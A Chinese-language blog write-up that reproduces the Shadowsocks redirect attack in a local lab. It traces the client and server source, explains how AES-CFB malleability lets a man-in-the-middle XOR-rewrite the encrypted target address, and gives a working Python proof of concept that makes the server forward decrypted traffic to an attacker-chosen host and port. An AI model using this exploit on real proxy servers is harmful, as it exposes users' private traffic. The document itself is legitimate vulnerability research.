Shadowsocks Redirect Attack

Van1sh 漏洞小屋 Shadowsocks
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  1. 转发流程
  2. 环境搭建
  3. 抓包分析
  4. 源码分析
    1. 客户端
    2. 服务端
  5. 漏洞成因
  6. 漏洞演示
  7. 踩坑记录

最近复现了一个比较老的洞，因为涉及到密码学相关的攻击，刚好前段时间也在学习通讯协议相关的知识，于是就比较感兴趣。

先总体概括一下，漏洞成因是因为 Shadowsocks 的作者默认使用了一个不合适的密码组件（使用者是可以自己再重新指定的），导致中间人可以利用 Shadowsocks 的服务端将解密后的流量随意重定向（这样中间人就能看到解密后的流量了）。不过涉及中间人对流量的劫持、篡改、重放，因此在实践操作中利用起来还是比较困难的。

复现参考的文章是https://blog.soreatu.com/posts/analyasis-of-shadowsocks-and-related-attack/#redirect-attack，祥哥这篇文章已经是记录的较为详实了，但是在复现过程中自己也是遇到了一些问题，于是在此记录。

转发流程

不论是什么代理工具，总的流程都是一致的，

在整个框架中，有这么几个角色，分别是用户、目标网站、代理服务器、代理软件。

然后是这么个场景，用户想访问目标网站，但是由于某些限制用户不能直接访问目标网站，不过用户可以访问代理服务器，而代理服务器可以访问目标网站，于是用户则借用代理软件通过代理服务器来访问目标网站的资源。

那么用户具体是如何通过代理软件访问到目标网站上的资源呢？首先用户在本地使用代理软件的客户端，在代理服务器上安装使用代理软件的服务端。当用户像请求目标网站时，会设置代理，那么流量就会先经过客户端，客户端里再将流量转发到服务端上，服务端接收到流量后再将流量转发到目标网站上。目标网站收到请求后给出回应到服务端，服务端再将流量转发到客户端，客户端再将流量转发给用户。

那么存在几个问题，服务端是如何知道用户想要访问的目标网站？客户端传输到服务端的流量是明文传输么？客户端是怎么知道服务端在哪儿的？

那么针对 Shadowsocks，笔者暂时可以给出这样的回答，客户端在对用户的流量包进行封装的时候，会在最前方加入用户的想访问的目标网站的信息，并且，客户端到服务端的流量都是加密的，而相应的配置用户需要提前在客户端和服务端进行配置，包括服务端所在的ip，端口，服务端和客户端加密使用的密钥，加密使用的密码体制。

因此我们可以大致画出这样的一个流程图

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		 		data       	encrypt(info of target | data) --> cipher
user    -------------------->    client
									|
                    				|
               					(encrypted)
                    				|
                    				V    
target  <--------------------     server
		 		data		decrypt(cipher) --> info of target | data

由于客户端肯定是在用户本地，并且请求和返回肯定是在一次连接内，服务端并不需要对消息进行额外的封装（服务端也不知道用户的地址信息），只进行加密

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		 		data       	decrypt(cipher) --> data
user    <--------------------    client
									^
                    				|
               					(encrypted)
                    				|
                    				|    
target  -------------------->    server
		 		data		encrypt(data) --> cipher

那么作为中间人，正常来说我们是没法知道用户的请求内容和网站的返回内容，因为我们并不知道代理软件所用的加密密钥，也就没法解密流量。

但是，我们是否有机会在不解密密文的情况下控制明文呢？废话少说，先抓个包看看具体结构再说。

环境搭建

抓包之前当然是要搭建环境了，本次我们分析的是python版本，所以先下载源码 https://github.com/shadowsocks/shadowsocks/tree/master

然后为了方便，使用下列配置在本地同时开启了客户端和服务端，

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{
    "server":"127.0.0.1",
    "server_port":8388,
    "local_port":1081,
    "password":"aes_password",
    "timeout":60,
    "method":"aes-256-cfb",
    "local_address":"127.0.0.1",
    "fast_open":false
}

然后在自己的vps上的8000端口开启了web服务作为目标网站

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clinet: 127.0.0.1 1081
server: 127.0.0.1 8388
target: x.x.x.x   8000

抓包分析

尝试使用代理访问vps上的flag文件

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import requests


url = "http://49.235.117.239:8000/flag.txt"
proxies = {
    'http':  "socks5://127.0.0.1:1081",
    'https': "socks5://127.0.0.1:1081"
}
resp = requests.get(url, proxies=proxies)
print(resp.content)

wireshak开启抓包，过滤规则为：tcp.flags.push == 1 && (tcp.port == 1081 || tcp.port == 8388)

image-20230110172722882.png

运行脚本得到

捕获流量如下

根据info我们大致可以判断，

  1. 用户（脚本）起了一个1872端口，16578-16584这四个包应该是脚本在和客户端（1081端口）进行socket握手，

  2. 随后用户向客户端发起了 GET 请求。随后客户端起了一个端口 1873 向服务端（8388端口）发送了流量，根据长度可以看到是多了23个字节，应该是封装+加密，

  3. 随后（这一部分由于监听网卡的原因在这里没有捕获到）服务端会解密然后向目标网站发送请求，目标网站回复后，服务端进行加密，

  4. （16597包）服务端向客户端发送加密流量

  5. 最后客户端进行解密再向用户发送明文，可以看到解密后长度少了16字节（熟悉分组密码的话大概可以猜到会是少了16字节的iv向量）

源码分析

客户端

在了解到这样一个大致流程之后，我们根据每一个步骤，找到相应的源码，尝试进行更细节的分析。

首先是和客户端的socket的握手，总共有两次请求和两次应答，分别是

  1. 客户端第一次请求，格式为 版本号+方法占用字节+方法，这里我们是 05 01 00

  2. 服务端第一次回复，格式为 版本号+方法，这里我们是 05 00 ，00 说明 服务端连接无需经过验证

  3. 客户端第二次请求，格式为 版本号+CMD+保留字段 RSV+目标地址类型 ATYP+ 目标地址 DST.ADDR + 目标端口 DST.PORT，这里我们是

    05 01 00 01 31 eb 75 ef 1f 40，

    版本号是5，01是建立连接，00默认，01说明是IPV4地址类型，0x31,0xeb,0x75,0xef 是 ip 各个端的十六进制，0x1f40 说明是8000端口

  4. 服务端第二次回复，格式为 版本号+回复字段 REP+保留字段 PSV+目标地址类型 ATYP+ 服务器绑定地址 BND.ADDR + 服务器绑定端口 BND.PORT，这里我们是 05 00 00 01 00 00 00 00 10 10

    版本号是5，00 表示连接成功，默认保留字段00 ，01 说明是IPV4地址，00 00 00 00 说明绑定地址是0.0.0.0，0x1010 绑定的端口是4112（为啥是这个嘞）

那么定位相应源码，首先是local.py:main，会将 tcp_server 加入 loop，随后loop.run

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def main():
	...
    dns_resolver = asyncdns.DNSResolver()
    tcp_server = tcprelay.TCPRelay(config, dns_resolver, True)
    udp_server = udprelay.UDPRelay(config, dns_resolver, True)
    loop = eventloop.EventLoop()
    dns_resolver.add_to_loop(loop)
    tcp_server.add_to_loop(loop)
    udp_server.add_to_loop(loop)
    ...
    loop.run

定位到eventloop.py:run，会循环获取pool中的事件，获取句柄调用其handle_event方法，

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def run(self):
    events = []
    while not self._stopping:
        asap = False
        try:
            events = self.poll(TIMEOUT_PRECISION)
        except (OSError, IOError) as e:
...

        for sock, fd, event in events:
            handler = self._fdmap.get(fd, None)
            if handler is not None:
                handler = handler[1]
                try:
                    handler.handle_event(sock, fd, event)
                except (OSError, IOError) as e:
                    shell.print_exception(e)

这里由于我们发起了tcp连接，所以我们定位tcprelay.py

看到TCPRelay的初始化方法

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class TCPRelay(object):
    def __init__(self, config, dns_resolver, is_local, stat_callback=None):
		...

        if is_local:
            listen_addr = config['local_address']
            listen_port = config['local_port']
        else:
            listen_addr = config['server']
            listen_port = config['server_port']
        self._listen_port = listen_port

        addrs = socket.getaddrinfo(listen_addr, listen_port, 0,
                                   socket.SOCK_STREAM, socket.SOL_TCP)
        if len(addrs) == 0:
            raise Exception("can't get addrinfo for %s:%d" %
                            (listen_addr, listen_port))
        af, socktype, proto, canonname, sa = addrs[0]
        server_socket = socket.socket(af, socktype, proto)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server_socket.bind(sa)
        server_socket.setblocking(False)
        if config['fast_open']:
            try:
                server_socket.setsockopt(socket.SOL_TCP, 23, 5)
            except socket.error:
                logging.error('warning: fast open is not available')
                self._config['fast_open'] = False
        server_socket.listen(1024)
        self._server_socket = server_socket
        self._stat_callback = stat_callback

会起一个 server_socket 开启监听（等待用户连接）

当用户连接后，就是我们前面说的，会触发其event_handle方法

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def handle_event(self, sock, fd, event):
    # handle events and dispatch to handlers
    if sock:
        logging.log(shell.VERBOSE_LEVEL, 'fd %d %s', fd,
                    eventloop.EVENT_NAMES.get(event, event))
    if sock == self._server_socket:
        if event & eventloop.POLL_ERR:
            # TODO
            raise Exception('server_socket error')
        try:
            logging.debug('accept')
            conn = self._server_socket.accept()
            TCPRelayHandler(self, self._fd_to_handlers,
                            self._eventloop, conn[0], self._config,
                            self._dns_resolver, self._is_local)
        except (OSError, IOError) as e:
            error_no = eventloop.errno_from_exception(e)
            if error_no in (errno.EAGAIN, errno.EINPROGRESS,
                            errno.EWOULDBLOCK):
                return
            else:
                shell.print_exception(e)
                if self._config['verbose']:
                    traceback.print_exc()

此时 sock 是 self._server_socket，一切正常的情况下，就会初始化一个 TCPRelayHandler() 对象，跟过去看他的init方法

几个重要的点，_stage 初始化为 STAGE_INIT，客户端与用户的连接（local_sock）加入了循环，并且将自身与local_sock绑定

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self._stage = STAGE_INIT
...
fd_to_handlers[local_sock.fileno()] = self
...
loop.add(local_sock, eventloop.POLL_IN | eventloop.POLL_ERR,self._server)

然后就又回到loop.run，这一次调用的handler就是local_sock绑定的这个handler（也就是TCPRelayHandler）的handler_event

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def handle_event(self, sock, event):

    # handle all events in this handler and dispatch them to methods
    if self._stage == STAGE_DESTROYED:
        logging.debug('ignore handle_event: destroyed')
        return
    # order is important
    if sock == self._remote_sock:
    ...

    elif sock == self._local_sock:

        if event & eventloop.POLL_ERR:
            self._on_local_error()
            if self._stage == STAGE_DESTROYED:
                return
        if event & (eventloop.POLL_IN | eventloop.POLL_HUP):
            logging.info("read from local")
            self._on_local_read()

            if self._stage == STAGE_DESTROYED:
                return
        if event & eventloop.POLL_OUT:
            logging.info("wrting to local")
            self._on_local_write()
    else:
        logging.warn('unknown socket')

此时，会进入到 self._local_sock 分支，从用户那里读取第一次的握手消息，由于我们的 self._stage = STAGE_INIT

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  def _on_local_read(self):
      try:
          data = self._local_sock.recv(BUF_SIZE)
...
      elif is_local and self._stage == STAGE_INIT:
          # TODO check auth method
          self._write_to_sock(b'\x05\00', self._local_sock)
          self._stage = STAGE_ADDR
          return
      ...

显然，这里处理的就是用户第一次请求和客户端第一次应答，然后 self._stage = STAGE_ADDR

那么再一次获取到用户的请求后，则执行

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elif (is_local and self._stage == STAGE_ADDR) or \
                (not is_local and self._stage == STAGE_INIT):
            self._handle_stage_addr(data)

由于这里要根据各种指令以不同方式进行解析，所以重新封装了一个方法，这里我们的CMD是00，也就是请求连接

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...
elif cmd == CMD_CONNECT:
                # just trim VER CMD RSV
                data = data[3:]
            else:
                logging.error('unknown command %d', cmd)
                self.destroy()
                return
        header_result = parse_header(data)
        if header_result is None:
            raise Exception('can not parse header')
        addrtype, remote_addr, remote_port, header_length = header_result

parse_header是解析地址的方法，具体具体地址类型（ipv4,ipv6,域名）来进行读取

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def parse_header(data):
    addrtype = ord(data[0])
    dest_addr = None
    dest_port = None
    header_length = 0
    if addrtype == ADDRTYPE_IPV4:
        if len(data) >= 7:
            dest_addr = socket.inet_ntoa(data[1:5])
            dest_port = struct.unpack('>H', data[5:7])[0]
            header_length = 7
        else:
            logging.warn('header is too short')
    elif addrtype == ADDRTYPE_HOST:
        if len(data) > 2:
            addrlen = ord(data[1])
            if len(data) >= 2 + addrlen:
                dest_addr = data[2:2 + addrlen]
                dest_port = struct.unpack('>H', data[2 + addrlen:4 +
                                                     addrlen])[0]
                header_length = 4 + addrlen
            else:
                logging.warn('header is too short')
        else:
            logging.warn('header is too short')
    elif addrtype == ADDRTYPE_IPV6:
        if len(data) >= 19:
            dest_addr = socket.inet_ntop(socket.AF_INET6, data[1:17])
            dest_port = struct.unpack('>H', data[17:19])[0]
            header_length = 19
        else:
            logging.warn('header is too short')
    else:
        logging.warn('unsupported addrtype %d, maybe wrong password or '
                     'encryption method' % addrtype)
    if dest_addr is None:
        return None
    return addrtype, to_bytes(dest_addr), dest_port, header_length

之后进入 is_local分支

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if self._is_local:
               # forward address to remote
               self._write_to_sock((b'\x05\x00\x00\x01'
                                    b'\x00\x00\x00\x00\x10\x10'),
                                   self._local_sock)
               data_to_send = self._encryptor.encrypt(data)
               self._data_to_write_to_remote.append(data_to_send)
               # notice here may go into _handle_dns_resolved directly
               self._dns_resolver.resolve(self._chosen_server[0],
                                          self._handle_dns_resolved)

于是就知道为什么根据数据包里捕获到客户端的回复中，绑定的ip和端口是0.0.0.0:4112了，原来这里直接写死了，并没有根据实际情况进行返回。（这里也许可以改进一下）

（这里之所以要把地址信息（也就是data）加密后放进 self._data_to_write_to_remote.append(data_to_send)，其实就已经在开始封装接下来要发送的消息了）

然后应该要和服务端进行连接了，看到_dns_resolver.resolve

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    def resolve(self, hostname, callback):

        if type(hostname) != bytes:
            hostname = hostname.encode('utf8')
        if not hostname:
            callback(None, Exception('empty hostname'))
        elif common.is_ip(hostname):
            # logging.info(hostname)
            callback((hostname, hostname), None)
...

这里我们的hostname是ip，所以执行回调函数，也就是 _handle_dns_resolved，比较核心的就是

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remote_sock.connect((remote_addr, remote_port))
...

self._loop.add(remote_sock,eventloop.POLL_ERR | eventloop.POLL_OUT,self._server)
self._stage = STAGE_CONNECTING
...

那么loop里有一个新的连接了。正常来说下一步应该是接受用户的数据，然后加密，然后发送给服务端了。此时TCPRelayHandler会再次进入 self._on_local_read()，

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elif self._stage == STAGE_CONNECTING:
    self._handle_stage_connecting(data)

接收到信息后 根据 _stage 进入 _handle_stage_connecting

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def _handle_stage_connecting(self, data):
    if self._is_local:
        data = self._encryptor.encrypt(data)
    self._data_to_write_to_remote.append(data)
    if self._is_local and not self._fastopen_connected and \
            self._config['fast_open']:

那么由于这里还是满足 _is_local（表示这是客户端），所以信息会先加密，但由于config并没有配置 fast_open，所以直接返回了，根据调试发现，随后loop里有了一个新的event，值是4，也就是表示eventloop.POLL_OUT，于是进入方法 _on_remote_write()

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def _on_remote_write(self):
    # handle remote writable event
    self._stage = STAGE_STREAM
    if self._data_to_write_to_remote:
        data = b''.join(self._data_to_write_to_remote)
        self._data_to_write_to_remote = []
        self._write_to_sock(data, self._remote_sock)

改变了 self._stage = STAGE_STREAM，然后将 _data_to_write_to_remote 数组里面的值全部发送给了服务端

此时，_data_to_write_to_remote 里的值为 encrypt(ATYPE+IP+PORT+DATA)

我们简单看一下加密方法，首先会载入配置文件设定的密码和加密方法，

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self._encryptor = encrypt.Encryptor(config['password'],
                                            config['method'])

# encrypt.py 

def encrypt(self, buf):
        if len(buf) == 0:
            return buf
        if self.iv_sent:
            return self.cipher.update(buf)
        else:
            self.iv_sent = True
            return self.cipher_iv + self.cipher.update(buf)

那么这里就是将消息按照指定的方法进行加密，然后拼接上iv，将数据返回。于是最终用户向客户端发送的数据，在客户端发送给服务端时则封装为

iv+encrypt(atype|ip|port|data)

其中，由于我们选择的是默认的aes-256-cfb方法，加密后不会填充，于是封装后的消息长度等于 16+7 + len(data)，这就与我们之前抓到的数据包的长度变化吻合了。

然后就是服务端的接收、向目标网站发送请求、对客户端进行回复，

收到服务端的消息后我们进入分支

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if sock == self._remote_sock:
        ...
        if event & (eventloop.POLL_IN | eventloop.POLL_HUP):
            logging.info("read from remote")
            self._on_remote_read()
            
def _on_remote_read(self):
    data = self._remote_sock.recv(BUF_SIZE)
	...
    if self._is_local:
        data = self._encryptor.decrypt(data)
    try:
        self._write_to_sock(data, self._local_sock)

那么客户端会先将消息解密，随后发送给用户。

至此，我们对客户端这里的处理逻辑分析清楚了。

  1. 首先用户向客户端发起第一次socket握手
  2. 客户端进行第一次回复
  3. 用户向客户端发送目的地址的相关信息
  4. 客户端保存相关信息并加密，放入待发送消息队列；和服务端建立连接；然后对用户进行第二次回复
  5. 用户向客户端发送对目的地址的相关请求
  6. 客户端对消息进行加密，放入待发送消息队列，然后将整个消息队列发送给服务端

下面是笔者在审计代码时加入的一些额外的注释，可以更方便的看清整个流程

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INFO: loading config from config.json
2023-01-12 17:03:02 WARNING  warning: server set to listen on 127.0.0.1:8388, are you sure?
2023-01-12 17:03:02 WARNING  warning: your timeout 60 seems too short
2023-01-12 17:03:02 INFO     loading libcrypto from C:\Windows\System32\libcrypto.dll
2023-01-12 17:03:02 INFO     starting local at 127.0.0.1:1081
2023-01-12 17:03:02 DEBUG    server_socket <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>
2023-01-12 17:03:02 DEBUG    using event model: select
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=536, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 1081)>,fd: 536, event: 1
2023-01-12 17:03:04 DEBUG    accept
2023-01-12 17:03:04 DEBUG    chosen server: 127.0.0.1:8388
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'\x05\x01\x00'
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'\x05\x00'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'\x05\x01\x00\x011\xebu\xef\x1f@'
2023-01-12 17:03:04 INFO     connecting 49.235.117.239:8000 from 127.0.0.1:64393
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'\x05\x00\x00\x01\x00\x00\x00\x00\x10\x10'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>,fd: 356, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)>
2023-01-12 17:03:04 DEBUG    read from local
2023-01-12 17:03:04 DEBUG    read local data: b'GET /flag.txt HTTP/1.1\r\nHost: 49.235.117.239:8000\r\nUser-Agent: python-requests/2.26.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 4
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    writing to remote
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)> b'\xb1\x98\xfe\x97\xcdv\x1d\xec-\xcb\xe4\xc7P\x86\xdf\x15~\xaa\xf7\x9cc\x19\xd2R\xb3!\xaf\xd3\x86q\xf1L`\x1c\x81;d\xa5%\x19\xd9\xa4\xe7\xb0\x04M\x9d\xbc\xc7\xf8\xcchH\x8c\xce\xec\xf2\xb8H7\xaa\xcdY\xa6\xccq\x99\xac\x1f9h\xdd\x08O\xad\r\xf3\xedH\x94\xf7\x1f\x94\xa1\x04\xfc\xda!9\x1f\xde\x88\xb0s%\xca\xdb\xc93\xac\x92N\x12 #\xbaw\x89Wt\x1d[\xf8\x88O{\x99Mg\xe5\xe8M\x88\x82!\xae\xff\xb3p\xe8_\x01\x7f\x91U=\tJ\x937\xb2\x9d\x02D\x0f\x03Y\xb5 \xa5M7\xc6Jkmf|\xf3\\\x16H\xd0{\xf9\x91\xfa9\xcd\x87\xb3\x98\xafX\x0f\xefcy\xdb\x12\xbe'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    read from remote
2023-01-12 17:03:04 DEBUG    debug read from remote
2023-01-12 17:03:04 DEBUG    writing data to sock <socket.socket fd=356, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 1081), raddr=('127.0.0.1', 64393)> b'HTTP/1.0 200 OK\r\nServer: SimpleHTTP/0.6 Python/3.6.8\r\nDate: Thu, 12 Jan 2023 09:03:04 GMT\r\nContent-type: text/plain\r\nContent-Length: 18\r\nLast-Modified: Wed, 04 Jan 2023 08:53:15 GMT\r\n\r\nflag{you_got_it!}\n'
2023-01-12 17:03:04 DEBUG    LOOP: this time ,sock: <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>,fd: 300, event: 1
2023-01-12 17:03:04 DEBUG    <socket.socket fd=300, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=6, laddr=('127.0.0.1', 64394), raddr=('127.0.0.1', 8388)>
2023-01-12 17:03:04 DEBUG    read from remote
2023-01-12 17:03:04 DEBUG    debug read from remote
2023-01-12 17:03:04 DEBUG    destroy: 49.235.117.239:8000
2023-01-12 17:03:04 DEBUG    destroying remote
2023-01-12 17:03:04 DEBUG    destroying local

服务端

接下来我们分析服务端的处理逻辑，服务端做的事情可以划分为：

  1. 接受客户端的消息并解密
  2. 前七个字节是目标网站的信息，于是服务端向目标网站发起连接，然后向目标网站发送解密后七个字节之后的消息
  3. 接受目标网站的回复
  4. 将回复加密后发送给客户端

在代码层面和客户端其实没有很大差别，主要调用的也是TCPrelay这一块的代码，区别就是在于标志符 is_local，主要区别我们注意到 _on_local_read 这个函数

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def _on_local_read(self):
    # handle all local read events and dispatch them to methods for
    # each stage
    if not self._local_sock:
        return
    is_local = self._is_local
    data = None
    try:
        data = self._local_sock.recv(BUF_SIZE)
    except (OSError, IOError) as e:
        if eventloop.errno_from_exception(e) in \
                (errno.ETIMEDOUT, errno.EAGAIN, errno.EWOULDBLOCK):
            return
    if not data:
        self.destroy()
        return
    logging.debug("read local data: %s" % data)
    self._update_activity(len(data))
    if not is_local:
        data = self._encryptor.decrypt(data)
        if not data:
            return
    if self._stage == STAGE_STREAM:
        if self._is_local:
            data = self._encryptor.encrypt(data)
        self._write_to_sock(data, self._remote_sock)
        return
    elif is_local and self._stage == STAGE_INIT:
        # TODO check auth method
        self._write_to_sock(b'\x05\00', self._local_sock)
        self._stage = STAGE_ADDR
        return
    elif self._stage == STAGE_CONNECTING:
        self._handle_stage_connecting(data)
    elif (is_local and self._stage == STAGE_ADDR) or \
            (not is_local and self._stage == STAGE_INIT):
        self._handle_stage_addr(data)

我们知道，服务端第一次收到客户端消息的时候，消息内容是 iv+encrypt(atype|ip|port|data)，于是，第一步肯定是对其进行解密

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if not is_local:
        data = self._encryptor.decrypt(data)

解密后得到 atype|ip|port|data，此时 self._stage == STAGE_INIT（因为是第一次接收到消息），因此进入 self._handle_stage_addr(data) 函数

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def _handle_stage_addr(self, data):
     try:
         if self._is_local:
             ...
             elif cmd == CMD_CONNECT:
                 # just trim VER CMD RSV
                 data = data[3:]
             else:
                 logging.error('unknown command %d', cmd)
                 self.destroy()
                 return
         header_result = parse_header(data)
         if header_result is None:
             raise Exception('can not parse header')
         addrtype, remote_addr, remote_port, header_length = header_result
         logging.info('connecting %s:%d from %s:%d' %
                      (common.to_str(remote_addr), remote_port,
                       self._client_address[0], self._client_address[1]))

         self._remote_address = (common.to_str(remote_addr), remote_port)
         self._update_stream(STREAM_UP, WAIT_STATUS_WRITING)
         self._stage = STAGE_DNS
         if self._is_local:
             ...
         else:
             if len(data) > header_length:
                 self._data_to_write_to_remote.append(data[header_length:])
             # notice here may go into _handle_dns_resolved directly
             self._dns_resolver.resolve(remote_addr,
                                        self._handle_dns_resolved)
     except Exception as e:
         self._log_error(e)
         if self._config['verbose']:
             traceback.print_exc()
         self.destroy()

由于此时是服务端，因此直接进入 parse_header 函数进行解析，得到 addrtype, remote_addr, remote_port, header_length，那么根据前面的经验，接下来就是服务端与目标网站建立连接，随后将用户的消息（data）发送给目标网站，再接收回复，再加密，再发送给客户端。

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def _on_remote_read(self):
        # handle all remote read events
        data = None
        try:
            data = self._remote_sock.recv(BUF_SIZE)

        except (OSError, IOError) as e:
            ...
        if self._is_local:
            data = self._encryptor.decrypt(data)
        else:
            data = self._encryptor.encrypt(data)
        try:
            self._write_to_sock(data, self._local_sock)
        ...

于是我们就从代码层面完成了对整个代理流程的分析，那么，问题出现在哪儿呢？

漏洞成因

我们注意到，客户端会将消息解密并发送给用户，而服务端会将消息解密发送给指定的地址，而这个指定的地址则是解密后通过parse_header 解析得到。那么如果我们能够在无法解密的情况下对这个地址进行操控，我们是否就能让服务端将解密后的信息发送到任意我们指定的地址，我们也就能够获得解密后的信息了。

那么如何 在无法解密的情况下对这个地址进行操控 呢？注意到我们选择的默认加密模式为 aes-256-cfb

可以看到是类似于流密码，而我们知道，由于异或运算的特性，流密码是无法抵抗已知明文攻击的，那么我们知道哪些明文呢？

显然，服务端最终发送给客户端的加密消息格式为 IV + encrypt(data) 其中，IV是16个字节，剩下的data，由于HTTP响应包的格式基本上就是HTTP/1.1 200 OK\r\nHost，因此，我们是能够得到图中的 $e_k$ 的，也就是 IV 经过 AES 加密后的值。我们设明文为 $x_1$，密文为 $y_1$，想要将数据篡改为 $x_2$，于是

由 $y_1 \oplus e_k = x_1$，其中 $x_1,e_k,y_1$ 均已知，因此

$y_1 \oplus e_k \oplus x_1 \oplus x_2 = x_1 \oplus x_1 \oplus x_2 = x_2$

所以我们只需要将密文 $y_1 $ 篡改为 $y_1 \oplus x_1 \oplus x_2$ 即可

由于控制地址部分是七个字节（Atype +ip +port ）于是，我们设待破解密文为 IV + encrypt(“HTTP/1.” )+ encrypt(data)，

那么我们重新构造密文为 $IV+encrypt(“HTTP/1.” ) \oplus “HTTP/1.” \oplus (Atype+ip+port) + padding（9字节） +IV + encrypt(“HTTP/1.” )+ encrypt(data)$

然后将该数据发送给服务端，服务端收到解密后，将得到消息

$(Atype+ip+port) + （9字节） +(16字节) + data$

前面七个字节是我们控制的地址，然后是9个字节填充解密后的乱码，然后是16个字节IV解密后的乱码，剩下来就是对数据的正常解密。

然后服务端就会与我们控制的地址建立连接，将后续包括解密填充的乱码、解密IV的乱码、解密后的正常数据全部发送过去。那么至此我们就完成了解密数据的重定向，换句话说，我们在没有解密密钥的情况下，获得了数据明文。

漏洞演示

我们抓下服务端最后发送给客户端的加密消息

然后在我自己的服务器上开了一个9999端口进行监听

运行 python 脚本，

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from Crypto.Util.number import *
import socket
import time

def xor(a, b):
    return bytes(x^y for x,y in zip(a,b))

def ip2hex(ip):
	ip = ip.split(".")
	res = b"".join(long_to_bytes(int(i)) for i in ip)
	return res

data = bytes.fromhex("bf988dd6c949f977528ec6449edcc615f0f472be1745a3bb603f60a9e089caa16af7faa5bfcede63be4fe1ef069185da0a251ef80f62ad74ae3103736305f195a40e1487888ba7e9480e6ba66b6b91f91467da5161bf4a5783bb85034f8e4c6ec269b1c4e827551cf40903b3ec4e7e051f0a68a36b3b27994a758cd49ce013853ede7fd240d4928ed02ef8d6b1bf043396eabd7d9e08d44aa687fcd6c967d68b16c96d40e461b0992314ac043d924bd58c011c55300ddd28d8e6d9c4c4eea410404f9e2b65783f5b1bd29b9afff8147eac1eddcc93288fbdfb827f")

x1 = b"HTTP/1."
x2 = b"\x01" + ip2hex("xx.xx.xx.xx") + long_to_bytes(9999,2)

new_data  = data[:16] + xor(xor(x1, x2), data[16:16+7]) + b"\x00"*(9) + data

sh = socket.socket()
sh.connect(("127.0.0.1", 8388))
sh.send(new_data)
time.sleep(20)

在服务器9999端口成功收到解密后的消息（可以看到在正常消息前会有一小段乱码）

踩坑记录

在复现的时候踩到一个坑，由于我们是使用python脚本和服务端进行直接通信的，我们在运行完最后一行send后，不能立刻结束脚本，否则脚本和服务端的连接就会断开，而一旦脚本和服务端的连接断开了，服务端也会立刻终止与目标网站的通信（在向目标网站发送解密消息之前）。

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def destroy(self):
    # destroy the handler and release any resources
    # promises:
    # 1. destroy won't make another destroy() call inside
    # 2. destroy releases resources so it prevents future call to destroy
    # 3. destroy won't raise any exceptions
    # if any of the promises are broken, it indicates a bug has been
    # introduced! mostly likely memory leaks, etc
    if self._stage == STAGE_DESTROYED:
        # this couldn't happen
        logging.debug('already destroyed')
        return
    self._stage = STAGE_DESTROYED
    if self._remote_address:
        logging.debug('destroy: %s:%d' %
                      self._remote_address)
    else:
        logging.debug('destroy')
    if self._remote_sock:
        logging.debug('destroying remote')
        self._loop.remove(self._remote_sock)
        del self._fd_to_handlers[self._remote_sock.fileno()]
        self._remote_sock.close()
        self._remote_sock = None
